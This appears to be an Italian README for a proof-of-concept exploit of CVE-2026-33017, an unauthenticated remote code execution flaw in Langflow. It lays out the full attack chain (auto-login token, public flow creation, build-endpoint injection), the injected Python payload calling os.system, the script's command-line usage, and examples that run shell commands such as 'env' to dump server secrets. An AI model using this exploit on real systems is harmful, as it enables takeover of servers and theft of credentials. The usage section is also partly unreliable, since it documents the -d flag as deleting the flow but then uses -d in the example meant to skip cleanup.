
Proof-of-concept per CVE-2026-33017, che dimostra l'esecuzione di codice in remoto non autenticata in versioni vulnerabili di Langflow tramite l'iniezione malevola di codice CustomComponent.
CVE ID: CVE-2026-33017
Software Affetto: Langflow
Versioni Vulnerabili: <= 1.8.2
Versione Corretta: >= 1.9.0
Gravità: Critica
Autore: arensballiu
Data: 2026
Langflow espone un endpoint pubblico per la compilazione di flow (/api/v1/build_public_tmp/{flowID}/flow) che accetta
blocchi di codice CustomComponent arbitrari e li esegue lato server senza autenticazione. Iniettando un payload Python
malevolo nel campo code di un nodo CustomComponent, un attaccante non autenticato può eseguire comandi arbitrari
del sistema operativo con i privilegi del processo del server Langflow.
La catena di attacco sfrutta innanzitutto l'endpoint /api/v1/auto_login, che rilascia un bearer token senza
richiedere credenziali quando Langflow è in esecuzione nella sua configurazione predefinita di auto-login. Poi utilizza
tale token per creare un flow pubblico temporaneo e attivare l'esecuzione di codice lato server attraverso l'endpoint
di compilazione.
È incluso un file docker che crea un'istanza docker con langflow installato e in esecuzione.
| Endpoint | Metodo | Autenticazione Richiesta | Scopo |
|---|---|---|---|
/api/v1/auto_login | GET | No | Ottenere il bearer token (auto-login deve essere abilitato) |
/api/v1/flows/ | POST | Sì (Bearer) | Creare un nuovo flow |
/api/v1/build_public_tmp/{flowID}/flow | POST | No (pubblico) | Attivare la compilazione — punto di esecuzione vulnerabile |
/api/v1/flows/{flowID} | DELETE | Sì (Bearer) | Eliminare il flow creato |
File: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Forma Estesa | Richiesto | Descrizione |
|---|---|---|---|
-u | --url | Sì | URL di base dell'istanza Langflow |
-c | --command | Sì | Comando del sistema operativo da eseguire sul server |
-d | --delete | No | Elimina il flow creato dopo lo sfruttamento |
Verificare l'esecuzione di codice:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Recuperare le variabili d'ambiente del server:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Mantenere il flow attivo dopo lo sfruttamento (saltare la pulizia):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
L'exploit inietta il seguente frammento Python nel campo code di un nodo CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importa dinamicamente il modulo os ed esegue il comando shell fornito dall'attaccante sul server.CustomComponent valido necessario per soddisfare il loader dei componenti di Langflow senza generare un errore di parsing.PUBLIC e l'endpoint di compilazione viene invocato sul suo endpoint pubblico, il che significa che non è richiesto alcun cookie di sessione o token di autenticazione per attivare l'esecuzione.Il sistema CustomComponent di Langflow consente di inviare codice Python arbitrario come parte di una definizione
di flow. L'endpoint /api/v1/build_public_tmp/{flowID}/flow compila e valuta parzialmente questo
codice lato server, incluse le istruzioni a livello di modulo, senza sandboxing o restrizioni all'accesso ai
built-in di Python come __import__.
1. GET /api/v1/auto_login → Ottenere il Bearer token (nessuna credenziale necessaria)
2. POST /api/v1/flows/ → Creare un flow PUBLIC (Bearer token)
3. POST /api/v1/build_public_tmp/ → Iniettare ed eseguire CustomComponent malevolo (nessuna auth)
4. DELETE /api/v1/flows/{id} → Pulizia (opzionale)
Tutti e quattro i passaggi possono essere eseguiti da un attaccante anonimo contro un deployment Langflow predefinito.
LANGFLOW_AUTO_LOGIN=false) in qualsiasi deployment esposto a Internet.Questo proof of concept è fornito esclusivamente a scopo didattico e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i contributori non si assumono alcuna responsabilità per un uso improprio.